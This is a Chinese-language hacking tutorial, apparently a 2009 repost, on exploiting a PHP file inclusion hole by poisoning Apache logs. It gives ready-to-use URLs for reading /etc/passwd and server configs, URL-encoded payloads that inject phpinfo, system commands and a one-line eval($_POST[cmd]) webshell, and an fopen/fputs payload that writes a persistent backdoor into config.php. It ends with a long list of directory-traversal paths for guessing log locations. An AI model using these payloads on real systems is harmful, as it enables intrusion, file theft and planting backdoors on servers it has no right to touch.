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来源:www.vfcocus.net 作者:vfocus 发布时间:2009-08-13  

关于php包含Apache日志的利用,其实也就是利用提交的网址里有php语句,然后再被Apache服务器的日志记录,然后php再去包含执行,从而包含了去执行。当然,这种办法最大的弊端是Apache日志肯定会过大,回应的时候当然会超时什么的,所以也是受条件限制的。全当一种研究算了。下面是我的测试过程,我觉得很有意思,你也看看。
比如说,在一个php存在包含漏洞就像这样,存在一句php包含漏洞的语句


以下是引用片段:
<? include($zizzy); ?>   //包含变量$zizzy


你可以
http://xxx.com/z.php?zizzy=/etc/inetd.conf
http://xxx.com/z.php?zizzy=/proc/cpuinfo
http://xxx.com/z.php?zizzy=/etc/passwd

就可以利用包含语句来查看一些系统环境和密码档文件。

那么关于日志包含下面我们来看:
比如我们的Apache的服务器配置文件位置在这里
/usr/local/apache/conf/httpd.conf
那么我们来包含一下httpd.conf,来看下路径信息什么的
http://xxx.com/z.php?zizzy=/usr/local/apache/conf/httpd.conf

读出Apache的配置信息,这里列出部分信息。
<VirtualHost 218.63.89.2>
User #3
Group silver
ServerAdmin webmaster@xxx.com
DocumentRoot /home/virtual/www.xxx.com
ServerName www.xxx.com
ServerAlias xxx.com
ErrorLog /home/virtual/www.xxx.com/logs/www-error_log
CustomLog /home/virtual/www.xxx.com/logs/www-access_log common
ScriptAlias /cgi-bin/ /home/virtual/www.xxx.com/cgi-bin/
Alias /icons/ /home/virtual/www.xxx.com/icons
</VirtualHost>

而我们提交http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
就可以读出Apache的错误日志记录

[Mon Jan 22 14:01:16 2005] [error] [client 218.63.194.76] File does not
exist: /home/virtual/www.xxx.com/hack.php
[Tus Jan 22 19:36:54 2005] [error] [client 218.63.148.38] File does not
exist: /home/virtual/www.xxx.com/111111111.php
[Wen Jan 23 05:14:54 2005] [error] [client 218.63.235.129] File does not
exist: /home/virtual/www.xxx.com/22222.php3
[Wen Jan 23 16:25:04 2005] [error] [client 218.63.232.73] attempt to invoke
directory as script: /home/virtual/www.xxx.com/forum
[Fir Jan 26 19:43:45 2005] [error] [client 218.63.232.73] attempt to invoke
directory as script: /home/virtual/www.xxx.com/blog
[Fir Jan 26 19:43:46 2005] [error] [client 64.229.232.73] attempt to invoke
directory as script: /home/virtual/www.xxx.com/kkkkkkkk

而数据日志/home/virtual/www.xxx.com/logs/www-access_log也是一样的,一样可以读出来,只不过文件会很大,那也没意思测试下去了,那怎么利用呢。

比如我们提交要提交这句,<?phpinfo();?> //查看php的相关信息
在这里,我们只能提交URL编码模式,因为我在测试中发现,<?的标记并不被记录,只有转换成URL编码提交才会被完整记录。

在这里%3C%3Fphpinfo%28%29%3B%3F%3E这句就是转换过了的<?phpinfo();?>,我们提交
http://www.xxx.com/%3C%3Fphpinfo%28%29%3B%3F%3E

这样肯定会报出错找不到页面,而一出错就被记在错误日志里了
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
这样这个日志文件就被包含成了phpinfo的信息,而回显也就成了一个显示php信息的页面。


如果可以的话(能够执行系统命令,也就是safe_mode开着的时候),
这样子也不错,
<?system("ls+-la+/home");?>   //执行命令列出home下的文件列表,记得转换为URL格式哦。

/home/
total 9
-rw-r--r--   1 www.xxx.com   silver       55 Jan 20 23:01 about.php
drwxrwxrwx   4 www.xxx.com   silver     4096 Jan 21 06:07 abc
-rw-r--r--   1 www.xxx.com   silver     1438 Dec 3 07:39 index.php
-rwxrwxrwx   1 www.xxx.com   silver     5709 Jan 21 20:05 show.php  
-rw-r--r--   1 www.xxx.com   silver     5936 Jan 18 01:37 admin.php
-rwxrwxrwx   1 www.xxx.com   silver     5183 Jan 18 15:30 config.php3
-rw-rw-rw-   1 www.xxx.com   silver   102229 Jan 21 23:18 info.txt
drwxr-xr-x   2 www.xxx.com   silver     4096 Jan 8 16:03 backup
-rw-r--r--   1 www.xxx.com   silver     7024 Dec 4 03:07 test.php

这样就列出了home下的文件
或者直接一句话木马<?eval($_POST[cmd]);?>,
这样转换后就是%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E 这样的格式。
我们提交
http://www.xxx.com/%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E

因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。

比如还是这句一句话木马
<?eval($_POST[cmd]);?> 

到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句

我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志,提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

这样webshell就写入成功了,config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连,主机就是你的了。

PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径,你可以去猜,也可以参照这里。
附:收集的一些日志路径
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log     
/var/log/httpd/error_log    
../apache/logs/error.log    
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log


 
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